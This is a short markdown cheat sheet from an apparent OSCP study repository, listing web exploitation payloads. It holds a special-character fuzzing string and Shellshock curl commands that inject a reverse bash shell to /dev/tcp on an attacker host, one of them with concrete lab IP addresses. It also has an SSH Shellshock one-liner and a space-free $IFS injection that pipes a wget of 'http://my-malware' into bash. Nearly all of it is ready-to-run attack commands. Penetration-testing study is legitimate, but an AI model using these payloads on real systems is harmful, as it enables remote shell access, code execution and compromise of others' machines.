oscp/Necronomicon/Attacks/Web Exploitation/Misc.md at main

julle/oscp

Files

T

2025-11-21 17:17:42 +01:00

dddd",'|&$;:`({{@<%=ddd

Shellshock
- curl -x TARGETADDRESS -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/HOSTIP/1234 0>&1" TARGETADDRESS/cgi-bin/status
- curl -x 192.168.28.167:PORT -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.28.169/1234 0>&1" 192.168.28.167/cgi-bin/status
- ssh username@IPADDRESS '() { :;}; /bin/bash'
RCE where no spaces are allowed (python required)
- python3$IFS-c'print(b"wget\x20http://my-malware".decode())'|bash